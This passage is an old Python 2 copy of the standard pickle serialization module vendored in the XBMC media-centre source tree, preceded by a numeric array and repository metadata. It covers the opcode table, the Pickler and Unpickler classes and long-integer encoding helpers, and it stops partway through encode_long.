[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
xbmc/xbmc-antiquated
xbmc/lib/libPython/Python/Lib/pickle.py
5
45729
"""Create portable serialized representations of Python objects. See module cPickle for a (much) faster implementation. See module copy_reg for a mechanism for registering custom picklers. See module pickletools source for extensive comments. Classes: Pickler Unpickler Functions: dump(object, file) dumps(object) -> string load(file) -> object loads(string) -> object Misc variables: __version__ format_version compatible_formats """ __version__ = "$Revision: 36861 $" # Code version from types import * from copy_reg import dispatch_table from copy_reg import _extension_registry, _inverted_registry, _extension_cache import marshal import sys import struct import re import warnings __all__ = ["PickleError", "PicklingError", "UnpicklingError", "Pickler", "Unpickler", "dump", "dumps", "load", "loads"] # These are purely informational; no code uses these. format_version = "2.0" # File format version we write compatible_formats = ["1.0", # Original protocol 0 "1.1", # Protocol 0 with INST added "1.2", # Original protocol 1 "1.3", # Protocol 1 with BINFLOAT added "2.0", # Protocol 2 ] # Old format versions we can read # Keep in synch with cPickle. This is the highest protocol number we # know how to read. HIGHEST_PROTOCOL = 2 # Why use struct.pack() for pickling but marshal.loads() for # unpickling? struct.pack() is 40% faster than marshal.dumps(), but # marshal.loads() is twice as fast as struct.unpack()! mloads = marshal.loads class PickleError(Exception): """A common base class for the other pickling exceptions.""" pass class PicklingError(PickleError): """This exception is raised when an unpicklable object is passed to the dump() method. """ pass class UnpicklingError(PickleError): """This exception is raised when there is a problem unpickling an object, such as a security violation. Note that other exceptions may also be raised during unpickling, including (but not necessarily limited to) AttributeError, EOFError, ImportError, and IndexError. """ pass # An instance of _Stop is raised by Unpickler.load_stop() in response to # the STOP opcode, passing the object that is the result of unpickling. class _Stop(Exception): def __init__(self, value): self.value = value # Jython has PyStringMap; it's a dict subclass with string keys try: from org.python.core import PyStringMap except ImportError: PyStringMap = None # UnicodeType may or may not be exported (normally imported from types) try: UnicodeType except NameError: UnicodeType = None # Pickle opcodes. See pickletools.py for extensive docs. The listing # here is in kind-of alphabetical order of 1-character pickle code. # pickletools groups them by purpose. MARK = '(' # push special markobject on stack STOP = '.' # every pickle ends with STOP POP = '0' # discard topmost stack item POP_MARK = '1' # discard stack top through topmost markobject DUP = '2' # duplicate top stack item FLOAT = 'F' # push float object; decimal string argument INT = 'I' # push integer or bool; decimal string argument BININT = 'J' # push four-byte signed int BININT1 = 'K' # push 1-byte unsigned int LONG = 'L' # push long; decimal string argument BININT2 = 'M' # push 2-byte unsigned int NONE = 'N' # push None PERSID = 'P' # push persistent object; id is taken from string arg BINPERSID = 'Q' # " " " ; " " " " stack REDUCE = 'R' # apply callable to argtuple, both on stack STRING = 'S' # push string; NL-terminated string argument BINSTRING = 'T' # push string; counted binary string argument SHORT_BINSTRING = 'U' # " " ; " " " " < 256 bytes UNICODE = 'V' # push Unicode string; raw-unicode-escaped'd argument BINUNICODE = 'X' # " " " ; counted UTF-8 string argument APPEND = 'a' # append stack top to list below it BUILD = 'b' # call __setstate__ or __dict__.update() GLOBAL = 'c' # push self.find_class(modname, name); 2 string args DICT = 'd' # build a dict from stack items EMPTY_DICT = '}' # push empty dict APPENDS = 'e' # extend list on stack by topmost stack slice GET = 'g' # push item from memo on stack; index is string arg BINGET = 'h' # " " " " " " ; " " 1-byte arg INST = 'i' # build & push class instance LONG_BINGET = 'j' # push item from memo on stack; index is 4-byte arg LIST = 'l' # build list from topmost stack items EMPTY_LIST = ']' # push empty list OBJ = 'o' # build & push class instance PUT = 'p' # store stack top in memo; index is string arg BINPUT = 'q' # " " " " " ; " " 1-byte arg LONG_BINPUT = 'r' # " " " " " ; " " 4-byte arg SETITEM = 's' # add key+value pair to dict TUPLE = 't' # build tuple from topmost stack items EMPTY_TUPLE = ')' # push empty tuple SETITEMS = 'u' # modify dict by adding topmost key+value pairs BINFLOAT = 'G' # push float; arg is 8-byte float encoding TRUE = 'I01\n' # not an opcode; see INT docs in pickletools.py FALSE = 'I00\n' # not an opcode; see INT docs in pickletools.py # Protocol 2 PROTO = '\x80' # identify pickle protocol NEWOBJ = '\x81' # build object by applying cls.__new__ to argtuple EXT1 = '\x82' # push object from extension registry; 1-byte index EXT2 = '\x83' # ditto, but 2-byte index EXT4 = '\x84' # ditto, but 4-byte index TUPLE1 = '\x85' # build 1-tuple from stack top TUPLE2 = '\x86' # build 2-tuple from two topmost stack items TUPLE3 = '\x87' # build 3-tuple from three topmost stack items NEWTRUE = '\x88' # push True NEWFALSE = '\x89' # push False LONG1 = '\x8a' # push long from < 256 bytes LONG4 = '\x8b' # push really big long _tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3] __all__.extend([x for x in dir() if re.match("[A-Z][A-Z0-9_]+$",x)]) del x # Pickling machinery class Pickler: def __init__(self, file, protocol=None, bin=None): """This takes a file-like object for writing a pickle data stream. The optional protocol argument tells the pickler to use the given protocol; supported protocols are 0, 1, 2. The default protocol is 0, to be backwards compatible. (Protocol 0 is the only protocol that can be written to a file opened in text mode and read back successfully. When using a protocol higher than 0, make sure the file is opened in binary mode, both when pickling and unpickling.) Protocol 1 is more efficient than protocol 0; protocol 2 is more efficient than protocol 1. Specifying a negative protocol version selects the highest protocol version supported. The higher the protocol used, the more recent the version of Python needed to read the pickle produced. The file parameter must have a write() method that accepts a single string argument. It can thus be an open file object, a StringIO object, or any other custom object that meets this interface. """ if protocol is not None and bin is not None: raise ValueError, "can't specify both 'protocol' and 'bin'" if bin is not None: warnings.warn("The 'bin' argument to Pickler() is deprecated", DeprecationWarning) protocol = bin if protocol is None: protocol = 0 if protocol < 0: protocol = HIGHEST_PROTOCOL elif not 0 <= protocol <= HIGHEST_PROTOCOL: raise ValueError("pickle protocol must be <= %d" % HIGHEST_PROTOCOL) self.write = file.write self.memo = {} self.proto = int(protocol) self.bin = protocol >= 1 self.fast = 0 def clear_memo(self): """Clears the pickler's "memo". The memo is the data structure that remembers which objects the pickler has already seen, so that shared or recursive objects are pickled by reference and not by value. This method is useful when re-using picklers. """ self.memo.clear() def dump(self, obj): """Write a pickled representation of obj to the open file.""" if self.proto >= 2: self.write(PROTO + chr(self.proto)) self.save(obj) self.write(STOP) def memoize(self, obj): """Store an object in the memo.""" # The Pickler memo is a dictionary mapping object ids to 2-tuples # that contain the Unpickler memo key and the object being memoized. # The memo key is written to the pickle and will become # the key in the Unpickler's memo. The object is stored in the # Pickler memo so that transient objects are kept alive during # pickling. # The use of the Unpickler memo length as the memo key is just a # convention. The only requirement is that the memo values be unique. # But there appears no advantage to any other scheme, and this # scheme allows the Unpickler memo to be implemented as a plain (but # growable) array, indexed by memo key. if self.fast: return assert id(obj) not in self.memo memo_len = len(self.memo) self.write(self.put(memo_len)) self.memo[id(obj)] = memo_len, obj # Return a PUT (BINPUT, LONG_BINPUT) opcode string, with argument i. def put(self, i, pack=struct.pack): if self.bin: if i < 256: return BINPUT + chr(i) else: return LONG_BINPUT + pack("<i", i) return PUT + repr(i) + '\n' # Return a GET (BINGET, LONG_BINGET) opcode string, with argument i. def get(self, i, pack=struct.pack): if self.bin: if i < 256: return BINGET + chr(i) else: return LONG_BINGET + pack("<i", i) return GET + repr(i) + '\n' def save(self, obj): # Check for persistent id (defined by a subclass) pid = self.persistent_id(obj) if pid: self.save_pers(pid) return # Check the memo x = self.memo.get(id(obj)) if x: self.write(self.get(x[0])) return # Check the type dispatch table t = type(obj) f = self.dispatch.get(t) if f: f(self, obj) # Call unbound method with explicit self return # Check for a class with a custom metaclass; treat as regular class try: issc = issubclass(t, TypeType) except TypeError: # t is not a class (old Boost; see SF #502085) issc = 0 if issc: self.save_global(obj) return # Check copy_reg.dispatch_table reduce = dispatch_table.get(t) if reduce: rv = reduce(obj) else: # Check for a __reduce_ex__ method, fall back to __reduce__ reduce = getattr(obj, "__reduce_ex__", None) if reduce: rv = reduce(self.proto) else: reduce = getattr(obj, "__reduce__", None) if reduce: rv = reduce() else: raise PicklingError("Can't pickle %r object: %r" % (t.__name__, obj)) # Check for string returned by reduce(), meaning "save as global" if type(rv) is StringType: self.save_global(obj, rv) return # Assert that reduce() returned a tuple if type(rv) is not TupleType: raise PicklingError("%s must return string or tuple" % reduce) # Assert that it returned an appropriately sized tuple l = len(rv) if not (2 <= l <= 5): raise PicklingError("Tuple returned by %s must have " "two to five elements" % reduce) # Save the reduce() output and finally memoize the object self.save_reduce(obj=obj, *rv) def persistent_id(self, obj): # This exists so a subclass can override it return None def save_pers(self, pid): # Save a persistent id reference if self.bin: self.save(pid) self.write(BINPERSID) else: self.write(PERSID + str(pid) + '\n') def save_reduce(self, func, args, state=None, listitems=None, dictitems=None, obj=None): # This API is called by some subclasses # Assert that args is a tuple or None if not isinstance(args, TupleType): if args is None: # A hack for Jim Fulton's ExtensionClass, now deprecated. # See load_reduce() warnings.warn("__basicnew__ special case is deprecated", DeprecationWarning) else: raise PicklingError( "args from reduce() should be a tuple") # Assert that func is callable if not callable(func): raise PicklingError("func from reduce should be callable") save = self.save write = self.write # Protocol 2 special case: if func's name is __newobj__, use NEWOBJ if self.proto >= 2 and getattr(func, "__name__", "") == "__newobj__": # A __reduce__ implementation can direct protocol 2 to # use the more efficient NEWOBJ opcode, while still # allowing protocol 0 and 1 to work normally. For this to # work, the function returned by __reduce__ should be # called __newobj__, and its first argument should be a # new-style class. The implementation for __newobj__ # should be as follows, although pickle has no way to # verify this: # # def __newobj__(cls, *args): # return cls.__new__(cls, *args) # # Protocols 0 and 1 will pickle a reference to __newobj__, # while protocol 2 (and above) will pickle a reference to # cls, the remaining args tuple, and the NEWOBJ code, # which calls cls.__new__(cls, *args) at unpickling time # (see load_newobj below). If __reduce__ returns a # three-tuple, the state from the third tuple item will be # pickled regardless of the protocol, calling __setstate__ # at unpickling time (see load_build below). # # Note that no standard __newobj__ implementation exists; # you have to provide your own. This is to enforce # compatibility with Python 2.2 (pickles written using # protocol 0 or 1 in Python 2.3 should be unpicklable by # Python 2.2). cls = args[0] if not hasattr(cls, "__new__"): raise PicklingError( "args[0] from __newobj__ args has no __new__") if obj is not None and cls is not obj.__class__: raise PicklingError( "args[0] from __newobj__ args has the wrong class") args = args[1:] save(cls) save(args) write(NEWOBJ) else: save(func) save(args) write(REDUCE) if obj is not None: self.memoize(obj) # More new special cases (that work with older protocols as # well): when __reduce__ returns a tuple with 4 or 5 items, # the 4th and 5th item should be iterators that provide list # items and dict items (as (key, value) tuples), or None. if listitems is not None: self._batch_appends(listitems) if dictitems is not None: self._batch_setitems(dictitems) if state is not None: save(state) write(BUILD) # Methods below this point are dispatched through the dispatch table dispatch = {} def save_none(self, obj): self.write(NONE) dispatch[NoneType] = save_none def save_bool(self, obj): if self.proto >= 2: self.write(obj and NEWTRUE or NEWFALSE) else: self.write(obj and TRUE or FALSE) dispatch[bool] = save_bool def save_int(self, obj, pack=struct.pack): if self.bin: # If the int is small enough to fit in a signed 4-byte 2's-comp # format, we can store it more efficiently than the general # case. # First one- and two-byte unsigned ints: if obj >= 0: if obj <= 0xff: self.write(BININT1 + chr(obj)) return if obj <= 0xffff: self.write("%c%c%c" % (BININT2, obj&0xff, obj>>8)) return # Next check for 4-byte signed ints: high_bits = obj >> 31 # note that Python shift sign-extends if high_bits == 0 or high_bits == -1: # All high bits are copies of bit 2**31, so the value # fits in a 4-byte signed int. self.write(BININT + pack("<i", obj)) return # Text pickle, or int too big to fit in signed 4-byte format. self.write(INT + repr(obj) + '\n') dispatch[IntType] = save_int def save_long(self, obj, pack=struct.pack): if self.proto >= 2: bytes = encode_long(obj) n = len(bytes) if n < 256: self.write(LONG1 + chr(n) + bytes) else: self.write(LONG4 + pack("<i", n) + bytes) return self.write(LONG + repr(obj) + '\n') dispatch[LongType] = save_long def save_float(self, obj, pack=struct.pack): if self.bin: self.write(BINFLOAT + pack('>d', obj)) else: self.write(FLOAT + repr(obj) + '\n') dispatch[FloatType] = save_float def save_string(self, obj, pack=struct.pack): if self.bin: n = len(obj) if n < 256: self.write(SHORT_BINSTRING + chr(n) + obj) else: self.write(BINSTRING + pack("<i", n) + obj) else: self.write(STRING + repr(obj) + '\n') self.memoize(obj) dispatch[StringType] = save_string def save_unicode(self, obj, pack=struct.pack): if self.bin: encoding = obj.encode('utf-8') n = len(encoding) self.write(BINUNICODE + pack("<i", n) + encoding) else: obj = obj.replace("\\", "\\u005c") obj = obj.replace("\n", "\\u000a") self.write(UNICODE + obj.encode('raw-unicode-escape') + '\n') self.memoize(obj) dispatch[UnicodeType] = save_unicode if StringType == UnicodeType: # This is true for Jython def save_string(self, obj, pack=struct.pack): unicode = obj.isunicode() if self.bin: if unicode: obj = obj.encode("utf-8") l = len(obj) if l < 256 and not unicode: self.write(SHORT_BINSTRING + chr(l) + obj) else: s = pack("<i", l) if unicode: self.write(BINUNICODE + s + obj) else: self.write(BINSTRING + s + obj) else: if unicode: obj = obj.replace("\\", "\\u005c") obj = obj.replace("\n", "\\u000a") obj = obj.encode('raw-unicode-escape') self.write(UNICODE + obj + '\n') else: self.write(STRING + repr(obj) + '\n') self.memoize(obj) dispatch[StringType] = save_string def save_tuple(self, obj): write = self.write proto = self.proto n = len(obj) if n == 0: if proto: write(EMPTY_TUPLE) else: write(MARK + TUPLE) return save = self.save memo = self.memo if n <= 3 and proto >= 2: for element in obj: save(element) # Subtle. Same as in the big comment below. if id(obj) in memo: get = self.get(memo[id(obj)][0]) write(POP * n + get) else: write(_tuplesize2code[n]) self.memoize(obj) return # proto 0 or proto 1 and tuple isn't empty, or proto > 1 and tuple # has more than 3 elements. write(MARK) for element in obj: save(element) if id(obj) in memo: # Subtle. d was not in memo when we entered save_tuple(), so # the process of saving the tuple's elements must have saved # the tuple itself: the tuple is recursive. The proper action # now is to throw away everything we put on the stack, and # simply GET the tuple (it's already constructed). This check # could have been done in the "for element" loop instead, but # recursive tuples are a rare thing. get = self.get(memo[id(obj)][0]) if proto: write(POP_MARK + get) else: # proto 0 -- POP_MARK not available write(POP * (n+1) + get) return # No recursion. self.write(TUPLE) self.memoize(obj) dispatch[TupleType] = save_tuple # save_empty_tuple() isn't used by anything in Python 2.3. However, I # found a Pickler subclass in Zope3 that calls it, so it's not harmless # to remove it. def save_empty_tuple(self, obj): self.write(EMPTY_TUPLE) def save_list(self, obj): write = self.write if self.bin: write(EMPTY_LIST) else: # proto 0 -- can't use EMPTY_LIST write(MARK + LIST) self.memoize(obj) self._batch_appends(iter(obj)) dispatch[ListType] = save_list # Keep in synch with cPickle's BATCHSIZE. Nothing will break if it gets # out of synch, though. _BATCHSIZE = 1000 def _batch_appends(self, items): # Helper to batch up APPENDS sequences save = self.save write = self.write if not self.bin: for x in items: save(x) write(APPEND) return r = xrange(self._BATCHSIZE) while items is not None: tmp = [] for i in r: try: x = items.next() tmp.append(x) except StopIteration: items = None break n = len(tmp) if n > 1: write(MARK) for x in tmp: save(x) write(APPENDS) elif n: save(tmp[0]) write(APPEND) # else tmp is empty, and we're done def save_dict(self, obj): write = self.write if self.bin: write(EMPTY_DICT) else: # proto 0 -- can't use EMPTY_DICT write(MARK + DICT) self.memoize(obj) self._batch_setitems(obj.iteritems()) dispatch[DictionaryType] = save_dict if not PyStringMap is None: dispatch[PyStringMap] = save_dict def _batch_setitems(self, items): # Helper to batch up SETITEMS sequences; proto >= 1 only save = self.save write = self.write if not self.bin: for k, v in items: save(k) save(v) write(SETITEM) return r = xrange(self._BATCHSIZE) while items is not None: tmp = [] for i in r: try: tmp.append(items.next()) except StopIteration: items = None break n = len(tmp) if n > 1: write(MARK) for k, v in tmp: save(k) save(v) write(SETITEMS) elif n: k, v = tmp[0] save(k) save(v) write(SETITEM) # else tmp is empty, and we're done def save_inst(self, obj): cls = obj.__class__ memo = self.memo write = self.write save = self.save if hasattr(obj, '__getinitargs__'): args = obj.__getinitargs__() len(args) # XXX Assert it's a sequence _keep_alive(args, memo) else: args = () write(MARK) if self.bin: save(cls) for arg in args: save(arg) write(OBJ) else: for arg in args: save(arg) write(INST + cls.__module__ + '\n' + cls.__name__ + '\n') self.memoize(obj) try: getstate = obj.__getstate__ except AttributeError: stuff = obj.__dict__ else: stuff = getstate() _keep_alive(stuff, memo) save(stuff) write(BUILD) dispatch[InstanceType] = save_inst def save_global(self, obj, name=None, pack=struct.pack): write = self.write memo = self.memo if name is None: name = obj.__name__ module = getattr(obj, "__module__", None) if module is None: module = whichmodule(obj, name) try: __import__(module) mod = sys.modules[module] klass = getattr(mod, name) except (ImportError, KeyError, AttributeError): raise PicklingError( "Can't pickle %r: it's not found as %s.%s" % (obj, module, name)) else: if klass is not obj: raise PicklingError( "Can't pickle %r: it's not the same object as %s.%s" % (obj, module, name)) if self.proto >= 2: code = _extension_registry.get((module, name)) if code: assert code > 0 if code <= 0xff: write(EXT1 + chr(code)) elif code <= 0xffff: write("%c%c%c" % (EXT2, code&0xff, code>>8)) else: write(EXT4 + pack("<i", code)) return write(GLOBAL + module + '\n' + name + '\n') self.memoize(obj) dispatch[ClassType] = save_global dispatch[FunctionType] = save_global dispatch[BuiltinFunctionType] = save_global dispatch[TypeType] = save_global # Pickling helpers def _keep_alive(x, memo): """Keeps a reference to the object x in the memo. Because we remember objects by their id, we have to assure that possibly temporary objects are kept alive by referencing them. We store a reference at the id of the memo, which should normally not be used unless someone tries to deepcopy the memo itself... """ try: memo[id(memo)].append(x) except KeyError: # aha, this is the first one :-) memo[id(memo)]=[x] # A cache for whichmodule(), mapping a function object to the name of # the module in which the function was found. classmap = {} # called classmap for backwards compatibility def whichmodule(func, funcname): """Figure out the module in which a function occurs. Search sys.modules for the module. Cache in classmap. Return a module name. If the function cannot be found, return "__main__". """ # Python functions should always get an __module__ from their globals. mod = getattr(func, "__module__", None) if mod is not None: return mod if func in classmap: return classmap[func] for name, module in sys.modules.items(): if module is None: continue # skip dummy package entries if name != '__main__' and getattr(module, funcname, None) is func: break else: name = '__main__' classmap[func] = name return name # Unpickling machinery class Unpickler: def __init__(self, file): """This takes a file-like object for reading a pickle data stream. The protocol version of the pickle is detected automatically, so no proto argument is needed. The file-like object must have two methods, a read() method that takes an integer argument, and a readline() method that requires no arguments. Both methods should return a string. Thus file-like object can be a file object opened for reading, a StringIO object, or any other custom object that meets this interface. """ self.readline = file.readline self.read = file.read self.memo = {} def load(self): """Read a pickled object representation from the open file. Return the reconstituted object hierarchy specified in the file. """ self.mark = object() # any new unique object self.stack = [] self.append = self.stack.append read = self.read dispatch = self.dispatch try: while 1: key = read(1) dispatch[key](self) except _Stop, stopinst: return stopinst.value # Return largest index k such that self.stack[k] is self.mark. # If the stack doesn't contain a mark, eventually raises IndexError. # This could be sped by maintaining another stack, of indices at which # the mark appears. For that matter, the latter stack would suffice, # and we wouldn't need to push mark objects on self.stack at all. # Doing so is probably a good thing, though, since if the pickle is # corrupt (or hostile) we may get a clue from finding self.mark embedded # in unpickled objects. def marker(self): stack = self.stack mark = self.mark k = len(stack)-1 while stack[k] is not mark: k = k-1 return k dispatch = {} def load_eof(self): raise EOFError dispatch[''] = load_eof def load_proto(self): proto = ord(self.read(1)) if not 0 <= proto <= 2: raise ValueError, "unsupported pickle protocol: %d" % proto dispatch[PROTO] = load_proto def load_persid(self): pid = self.readline()[:-1] self.append(self.persistent_load(pid)) dispatch[PERSID] = load_persid def load_binpersid(self): pid = self.stack.pop() self.append(self.persistent_load(pid)) dispatch[BINPERSID] = load_binpersid def load_none(self): self.append(None) dispatch[NONE] = load_none def load_false(self): self.append(False) dispatch[NEWFALSE] = load_false def load_true(self): self.append(True) dispatch[NEWTRUE] = load_true def load_int(self): data = self.readline() if data == FALSE[1:]: val = False elif data == TRUE[1:]: val = True else: try: val = int(data) except ValueError: val = long(data) self.append(val) dispatch[INT] = load_int def load_binint(self): self.append(mloads('i' + self.read(4))) dispatch[BININT] = load_binint def load_binint1(self): self.append(ord(self.read(1))) dispatch[BININT1] = load_binint1 def load_binint2(self): self.append(mloads('i' + self.read(2) + '\000\000')) dispatch[BININT2] = load_binint2 def load_long(self): self.append(long(self.readline()[:-1], 0)) dispatch[LONG] = load_long def load_long1(self): n = ord(self.read(1)) bytes = self.read(n) self.append(decode_long(bytes)) dispatch[LONG1] = load_long1 def load_long4(self): n = mloads('i' + self.read(4)) bytes = self.read(n) self.append(decode_long(bytes)) dispatch[LONG4] = load_long4 def load_float(self): self.append(float(self.readline()[:-1])) dispatch[FLOAT] = load_float def load_binfloat(self, unpack=struct.unpack): self.append(unpack('>d', self.read(8))[0]) dispatch[BINFLOAT] = load_binfloat def load_string(self): rep = self.readline()[:-1] for q in "\"'": # double or single quote if rep.startswith(q): if not rep.endswith(q): raise ValueError, "insecure string pickle" rep = rep[len(q):-len(q)] break else: raise ValueError, "insecure string pickle" self.append(rep.decode("string-escape")) dispatch[STRING] = load_string def load_binstring(self): len = mloads('i' + self.read(4)) self.append(self.read(len)) dispatch[BINSTRING] = load_binstring def load_unicode(self): self.append(unicode(self.readline()[:-1],'raw-unicode-escape')) dispatch[UNICODE] = load_unicode def load_binunicode(self): len = mloads('i' + self.read(4)) self.append(unicode(self.read(len),'utf-8')) dispatch[BINUNICODE] = load_binunicode def load_short_binstring(self): len = ord(self.read(1)) self.append(self.read(len)) dispatch[SHORT_BINSTRING] = load_short_binstring def load_tuple(self): k = self.marker() self.stack[k:] = [tuple(self.stack[k+1:])] dispatch[TUPLE] = load_tuple def load_empty_tuple(self): self.stack.append(()) dispatch[EMPTY_TUPLE] = load_empty_tuple def load_tuple1(self): self.stack[-1] = (self.stack[-1],) dispatch[TUPLE1] = load_tuple1 def load_tuple2(self): self.stack[-2:] = [(self.stack[-2], self.stack[-1])] dispatch[TUPLE2] = load_tuple2 def load_tuple3(self): self.stack[-3:] = [(self.stack[-3], self.stack[-2], self.stack[-1])] dispatch[TUPLE3] = load_tuple3 def load_empty_list(self): self.stack.append([]) dispatch[EMPTY_LIST] = load_empty_list def load_empty_dictionary(self): self.stack.append({}) dispatch[EMPTY_DICT] = load_empty_dictionary def load_list(self): k = self.marker() self.stack[k:] = [self.stack[k+1:]] dispatch[LIST] = load_list def load_dict(self): k = self.marker() d = {} items = self.stack[k+1:] for i in range(0, len(items), 2): key = items[i] value = items[i+1] d[key] = value self.stack[k:] = [d] dispatch[DICT] = load_dict # INST and OBJ differ only in how they get a class object. It's not # only sensible to do the rest in a common routine, the two routines # previously diverged and grew different bugs. # klass is the class to instantiate, and k points to the topmost mark # object, following which are the arguments for klass.__init__. def _instantiate(self, klass, k): args = tuple(self.stack[k+1:]) del self.stack[k:] instantiated = 0 if (not args and type(klass) is ClassType and not hasattr(klass, "__getinitargs__")): try: value = _EmptyClass() value.__class__ = klass instantiated = 1 except RuntimeError: # In restricted execution, assignment to inst.__class__ is # prohibited pass if not instantiated: try: value = klass(*args) except TypeError, err: raise TypeError, "in constructor for %s: %s" % ( klass.__name__, str(err)), sys.exc_info()[2] self.append(value) def load_inst(self): module = self.readline()[:-1] name = self.readline()[:-1] klass = self.find_class(module, name) self._instantiate(klass, self.marker()) dispatch[INST] = load_inst def load_obj(self): # Stack is ... markobject classobject arg1 arg2 ... k = self.marker() klass = self.stack.pop(k+1) self._instantiate(klass, k) dispatch[OBJ] = load_obj def load_newobj(self): args = self.stack.pop() cls = self.stack[-1] obj = cls.__new__(cls, *args) self.stack[-1] = obj dispatch[NEWOBJ] = load_newobj def load_global(self): module = self.readline()[:-1] name = self.readline()[:-1] klass = self.find_class(module, name) self.append(klass) dispatch[GLOBAL] = load_global def load_ext1(self): code = ord(self.read(1)) self.get_extension(code) dispatch[EXT1] = load_ext1 def load_ext2(self): code = mloads('i' + self.read(2) + '\000\000') self.get_extension(code) dispatch[EXT2] = load_ext2 def load_ext4(self): code = mloads('i' + self.read(4)) self.get_extension(code) dispatch[EXT4] = load_ext4 def get_extension(self, code): nil = [] obj = _extension_cache.get(code, nil) if obj is not nil: self.append(obj) return key = _inverted_registry.get(code) if not key: raise ValueError("unregistered extension code %d" % code) obj = self.find_class(*key) _extension_cache[code] = obj self.append(obj) def find_class(self, module, name): # Subclasses may override this __import__(module) mod = sys.modules[module] klass = getattr(mod, name) return klass def load_reduce(self): stack = self.stack args = stack.pop() func = stack[-1] if args is None: # A hack for Jim Fulton's ExtensionClass, now deprecated warnings.warn("__basicnew__ special case is deprecated", DeprecationWarning) value = func.__basicnew__() else: value = func(*args) stack[-1] = value dispatch[REDUCE] = load_reduce def load_pop(self): del self.stack[-1] dispatch[POP] = load_pop def load_pop_mark(self): k = self.marker() del self.stack[k:] dispatch[POP_MARK] = load_pop_mark def load_dup(self): self.append(self.stack[-1]) dispatch[DUP] = load_dup def load_get(self): self.append(self.memo[self.readline()[:-1]]) dispatch[GET] = load_get def load_binget(self): i = ord(self.read(1)) self.append(self.memo[repr(i)]) dispatch[BINGET] = load_binget def load_long_binget(self): i = mloads('i' + self.read(4)) self.append(self.memo[repr(i)]) dispatch[LONG_BINGET] = load_long_binget def load_put(self): self.memo[self.readline()[:-1]] = self.stack[-1] dispatch[PUT] = load_put def load_binput(self): i = ord(self.read(1)) self.memo[repr(i)] = self.stack[-1] dispatch[BINPUT] = load_binput def load_long_binput(self): i = mloads('i' + self.read(4)) self.memo[repr(i)] = self.stack[-1] dispatch[LONG_BINPUT] = load_long_binput def load_append(self): stack = self.stack value = stack.pop() list = stack[-1] list.append(value) dispatch[APPEND] = load_append def load_appends(self): stack = self.stack mark = self.marker() list = stack[mark - 1] list.extend(stack[mark + 1:]) del stack[mark:] dispatch[APPENDS] = load_appends def load_setitem(self): stack = self.stack value = stack.pop() key = stack.pop() dict = stack[-1] dict[key] = value dispatch[SETITEM] = load_setitem def load_setitems(self): stack = self.stack mark = self.marker() dict = stack[mark - 1] for i in range(mark + 1, len(stack), 2): dict[stack[i]] = stack[i + 1] del stack[mark:] dispatch[SETITEMS] = load_setitems def load_build(self): stack = self.stack state = stack.pop() inst = stack[-1] setstate = getattr(inst, "__setstate__", None) if setstate: setstate(state) return slotstate = None if isinstance(state, tuple) and len(state) == 2: state, slotstate = state if state: try: inst.__dict__.update(state) except RuntimeError: # XXX In restricted execution, the instance's __dict__ # is not accessible. Use the old way of unpickling # the instance variables. This is a semantic # difference when unpickling in restricted # vs. unrestricted modes. # Note, however, that cPickle has never tried to do the # .update() business, and always uses # PyObject_SetItem(inst.__dict__, key, value) in a # loop over state.items(). for k, v in state.items(): setattr(inst, k, v) if slotstate: for k, v in slotstate.items(): setattr(inst, k, v) dispatch[BUILD] = load_build def load_mark(self): self.append(self.mark) dispatch[MARK] = load_mark def load_stop(self): value = self.stack.pop() raise _Stop(value) dispatch[STOP] = load_stop # Helper class for load_inst/load_obj class _EmptyClass: pass # Encode/decode longs in linear time. import binascii as _binascii def encode_long(x): r"""Encode a long to a two's complement little-endian binary string. Note that 0L is a special case, returning an empty string, to save a byte in the LONG1 pickling context. >>> encode_long(0L) '' >>> encode_long(255L) '\xff\x00' >>> encode_long(32767L) '\xff\x7f' >>> encode_long(-256L) '\x00\xff' >>> encode_long(-32768L) '\x00\x80' >>> encode_long(-128L) '\x80' >>> encode_long(127L) '\x7f' >>> """ if x == 0: return '' if x > 0: ashex = hex(x) assert ashex.startswith("0x") njunkchars = 2 + ashex.endswith('L') nibbles = len(ashex) - njunkchars if nibbles & 1: # need an even # of nibbles for unhexlify ashex = "0x0" + ashex[2:] elif int(ashex[2], 16) >= 8: # "looks negative", so need a byte of sign bits ashex = "0x00" + ashex[2:] else: # Build the 256's-complement: (1L << nbytes) + x. The trick is # to find the number of bytes in linear time (although that should # really be a constant-time task). ashex = hex(-x) assert ashex.startswith("0x") njunkchars = 2 + ashex.endswith('L') nibbles = len(ashex) - njunkchars if nibbles & 1: # Extend to a full byte. nibbles += 1 nbits = nibbles * 4 x += 1L << nbits assert x > 0 ashex = hex(x) njunkchars = 2 + ashex.endswith('L') newnibbles = len(ashex) - 